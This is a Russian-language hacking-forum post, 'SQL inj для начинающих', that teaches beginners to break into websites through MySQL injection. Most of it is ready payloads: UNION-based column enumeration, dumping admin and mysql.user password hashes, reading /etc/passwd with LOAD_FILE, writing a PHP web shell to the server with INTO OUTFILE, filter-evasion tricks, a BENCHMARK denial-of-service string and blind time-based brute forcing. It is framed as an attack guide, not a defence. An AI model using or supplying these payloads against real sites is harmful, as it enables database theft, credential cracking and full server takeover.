1. Приветствую гостей и пользователей нашего форума! Первый раз вы у нас или же давно участвуете в жизни ресурса, хочу напомнить несколько моментов.

    1) Пользуемся поиском по форуму! Зачастую информация может находиться не по разделу!

    2) Раздел ИНФО-продуктов относительно новый, но имеем уже более 3000 высококлассных материалов (пользуемся сортировкой по прификсам).

    3) И самое важное, КАК КАЧАТЬ БЕЗ ОГРАНИЧЕНИЙ, вся информация находится по этой ссылке КУПИТЬ VIP

    4) Временная акция, получи +5 постов за вступление в нашу группу "Вконтакте" Более подробно ТУТ

    5) Веди активную жизнь на форуме и получай рубли на личный счёт!

    Скрыть объявление
  2. На нашем форуме Null-Prog действует серьёзное правило касательно размещения материалов!

    ДЛЯ РЕЛИЗЁРОВ: категорически запрещается выкладка материалов на файлообменники типа Deposit, letitbit и другие, требующие просмотров рекламы, обрезающие скорость и тд. Нарушителям, первые 2 раза предупреждения, далее БАН. Тему по этому поводу можно посмотреть ТУТ

    Скрыть объявление
  3. В тестовом режиме на нашем форуме открыт онлайн конструктор сайтов. Вы можете попробовать создать свой сайт у НАС, интуитивно понятный интерфейс, переведёт на 95%, быстрый экспорт проекта, от вас только перетаскивать элементы и вставить в них необходимый текст!

    Все вопросы ТУТ

    Скрыть объявление

  4. Скрыть объявление
  5. Уважаемые форумчане, открывается новый раздел форума, посвящённый ремонту и эксплуатации автомобилей. Просмотреть его можно ТУТ

    Так как раздел новый, информация будет пополнять каждый день. Если есть какие либо замечания по этому разделу, отписываемся в соответствующий раздел форума, либо в личку.

    Напоминаю, сообщения в разделе АВТО не учитываются, общение не ограничено.

    Скрыть объявление
  6. Объявляется набор Модераторов на различные раздел форума, свои заявки можно оставлять в ЭТОМ разделе, перед оставлением заявки рекомендуется ознакомиться с ПРАВИЛАМИ для модераторов.

Важно SQL inj для начинающих

Тема в разделе "Защита и взлом", создана пользователем Sam Jack, 19 май 2015.

  1. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.633
    MySQL Injection это сегодня одна из самых популярных критических уязвимостей на вебсайтах. Встречается такая уязвимость на сайтах самых различные уровней и появляется она как, и любая другая уязвимость из-за ошибки кодера, а именно недостаточной проверки принимаемых от пользователя данных.

    В принципе для автоматизации поиска и использования инъекций есть специализированный софт (например Acunetix WVS + Havij), который сильно упрощает нам жизнь, но знать принципы того, как это работает вы просто обязаны, да и не во всех случаях такой софт подойдет.

    1) Чем MySQL Injection может нам помочь при взломе сайта?
    Эта уязвимость дает нам возможность выполнять произвольные запросы к базе данных сайта. Для владельца такого сайта это несет ряд нехороших последствий так как при благоприятных обстоятельствах с помощью MySQL Injection можно взломать практически любой ресурс.

    1.1) Минимум теории
    Чтобы узнать как это все работает для примера возьмем вот такой скрипт:
    Код:
    <?php
    $id = $_GET['id'];
    mysql_query("UNION SELECT nick FROM users WHERE id=".$id);?>
    Он служит для того чтобы подставлять в запрос переменную которую получает скрипт методом GET. Посмотрев исходный код мы видим, что эта самая передаваемая переменная скриптом никак не фильтруется и поэтому мы можем изменять запрос как нам только угодно. Например, подставить такой запрос к базе данных уязвимого сайта, который вернет нам логин и пароль администратора. Вот что такое MySQL Injection.

    1.2) Приступаем к практике
    Как тебе найти заветную MySQL Injection без возможности посмотреть исходный код? Запросто, приведу пример:
    Имеется сайт с такой ссылкой:
    http://www.example.ru/index.php?page=1

    Способ первый:
    Самый простой вариант проверки на наличие уязвимости MySQL Injection это поставлять в переменную одинарную кавычку:

    http://www.example.ru/index.php?page=1'

    При наличии уязвимости результатом такого запроса будет ошибка вроде: MySQL Error: mysql_query(.......) error expretion syntax...
    В 99% случаев этот сайт будет уязвим.

    Способ второй:
    Это как раз тот способ о котором новички забывают и тем самым упускают возможность получить доступ к сайту. В уязвимом скрипте может быть фильтрация на символ кавычки (" ' ") либо просто отключено отображение ошибок ( "error_reporting(0)" ), когда при присутствии уязвимости вы попросту не увидите сообщение об ошибке. Из-за этого новички и упускают свой шанс взлома сайта если используют только первый способ для поиска и бросают свои попытки. Как раз для этого случая у нас есть второй способ проверки:
    http://www.example.ru/index.php?page=2-1

    Если и в этом случае вы увидите ту же страницу что и в первый раз при запросе http://www.example.ru/index.php?page=1 то, опять же, в 99% этот сайт уязвим для MySQL Injection.

    2) ОК, уязвимость есть, что дальше?
    Как я уже упоминал в теории, для получения каких либо данных с сайта нужно подставить в переменную нужный нам запрос, однако сделать это так чтобы запрос прописанный в скрипте выдал результат NULL (пустое значение), например:
    Код:
    http://www.example.ru/index.php?page=-1 union select null,null/*...или...http://www.example.ru/index.php?page=99999 union select null,null/*
    В этом случае скрипт по очереди выполнит запрос к базе данных для записи -1 или 99999 что вернет пустое значение, а дальше уже исполнится наш внедренный код, при этом /* закомментирует оставшуюся часть запроса скрипта, а + заменит нам пробел. Для того чтобы нам продвинуться дальше при взломе такого сайта нам потребуется определить количество полей которые используют mysql на странице. Сделаем это с помощью перебора, например:
    ...union select null,null union select null,null,null union select null,null,null,null...

    и так далее пока не получим их количество. Признаком того, что таким способом мы определили верное количество полей будет то, что мы увидим все тоже что и при начальном запросе (http://www.example.ru/index.php?page=1), однако все поля на странице будут пустые, например при 6 полях в таблице верно подобранный запрос будет выглядеть так:
    Код:
    http://www.example.ru/index.php?page=-1 union select null,null,null,null,null,null/*
    Дальше нам нужно определить поля, которые отображаются на странице, чтобы это сделать нам нужно будет вместо значений null вводить последовательность из цифр, например:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,3,4,5,6/*
    После такого запроса, вместо обычных данных мы увидим цифры в полях, после этого мы знаем куда подставлять запрос. Сразу после этого мы уже можем получить определенную информация из БД, например, имя БД, имя пользователя БД, имя самой БД. Для этого используем вот такой запрос:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,USER(),4,5,6/*http://www.example.ru/index.php?page=-1 union select 1,2,VERSION(),4,5,6http://www.example.ru/index.php?page=-1 union select 1,2,DATABASE(),4,5,6/*
    Приступаем к получению доступов. После таких манипуляций наши возможности существенно расширились, теперь мы можем:

    2.1) Получить пароль администратора
    Для этого нам нужно составить такой запрос:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,user,password,5,6 from mysql.user /*
    Однако мы, скорее всего получим только хеш пароля, но мы можем расшифровать его с помощью программы PasswordsPro или с помощью множества онлайн сервисов для расшифровки хешей с просто огромными базами. К сожалению этот метод работает только тогда когда у нас есть доступ к mysql.user

    2.2) Прочитать другие таблицы
    Этот способ отличается тем, что чтобы нам что-то прочитать, нужно правильно составить запрос, а именно конкретно в нем указать что нам требуется прочитать, то есть имена таблиц и их полей, а их придется банально подбирать, например, можно попробовать таблицы типа users,reg_users,admins,accaunts... или другие распространенные названия. Также определив CMS сайта можно уже приступив к взлому узнать какие именно таблицы и поля нам нужно вытянуть чтобы получить нужный доступ.

    Как пример:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,name,passwd,4,5,6 from users /*
    2.3) Прочитать файлы на сервере
    При наличии у нас прав file_priv мы можем читать файлы на сервере с правами пользователя на котором крутится БД. Чтобы это сделать мы будем использовать функцию LOAD_FILE(). Например:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,LOAD_FILE('/etc/passwd'),4,5,6/*
    2.4) Залить шелл
    Чтобы это сделать нам нужно будет предварительно узнать полный путь к установленному сайту, если путь вы уже узнали то самое время выполнить, записывающий шелл в файл, запрос. Например сайт установлен в директорию "/home/username/site/public_html/"
    Тогда запрос будет иметь такой вид:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,3,4,5,'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*
    Это собственно все основное что можно сделать с MySQL Injection. Но есть также некоторые фишки и нюансы.

    3) Фишки в использовании MySQL Injection
    3.1) Обход фильтрации:
    Со временем вам придется столкнуться с тем что переменная с mysql inj будет фильтроваться так, что в запросе, в имени поля, вы не сможете использовать буквы. Обходится это таким способом:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,AES_DECRYPT(AES_ENCRYPT(USER(), 0x71),0x71),4,5,6 /*
    Такой запрос успешно обработался.

    Бывают также ситуации когда фильтруется нужная нам для эксплуатации уязвимости кавычка, в том числе и тогда когда нам нужно прочитать файл с помощью LOAD_FILE(). Обходится это при помощи char()

    Рассмотрим пример чтения файла /etc/passwd:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,LOAD_FILE(char(47,101,116,99,47 ,112,97,115,115,119,100)),4,5,6 /*
    Так же часто бывает что инъекция, как пример, в поле логина, и в этом поле нельзя использовать пробелы. На первый взгляд кажется что на этом попытки стоит заканчивать, однако и с этим можно справиться. Используя вместо пробелов комментарии, например:
    Код:
    http://www.example.ru/index.php?page=-1 union select 1,2,user,password,5,6 from mysql.user /*по аналогииhttp://www.example.ru/index.php?page=-1/**/union/**/select/**/1,2,user,password,5,6/**/from/**/mysql.user /*DOS
    http://www.example.ru/index.php?page=-1 BENCHMARK(10000000,BENCHMARK(10000000,md5(curren t_date)))
    3.2) Другие фишки
    3.2.1) Аналоги пробела:

    + или +табуляция " " иливозврат коретки " " илитри символа "$IFS"

    3.2.2) Кавычки:

    " - "' - '' - %27
    ` - `

    3.2.3) Простейшие sql-инъекции:

    ?id=-1' or 1=1--
    ?id=-1" or 1=1--
    ?id=-1 or 1=1--
    ?id=-1' or 'a'='a
    ?id=-1" or "a"="a
    ?id=-1') or ('a'='a

    3.2.4) Посимвольный Брут полей:
    lower() этот символ переводится в нижний регистр

    ?id=admin" and ascii(substring(passwd,1,1))>100 and "1"="1?id=5')union select ascii(lower(substring(user_name,1,1))),20000+1 where user_id=1/*
    ?id=-1 seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<100)
    ?id=-1 seclet pass from users where id='admin" and ascii(substring(passwd,1,1))>100 and "1"="1?id=-1 select news_id,message from news where id=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100?id=9' AND lower(substring(user(),1,1))="a"/*
    ?id=-1 UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"

    Брут полей, используя задержку при исполнении ресурсоёмких операций:
    На выполнение benchmark() уходит время, значит при совпадении лог условия задержка будет означать его верность:
    Код:
    http://www.example.ru/istat.php?id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999999,md5(char(114,115,116))));
     
    Метки:

Поделиться этой страницей

iHax Community
Рейтинг@Mail.ru Яндекс.Метрика мониторинг сайтов
Форум программного обеспечения/
Загрузка...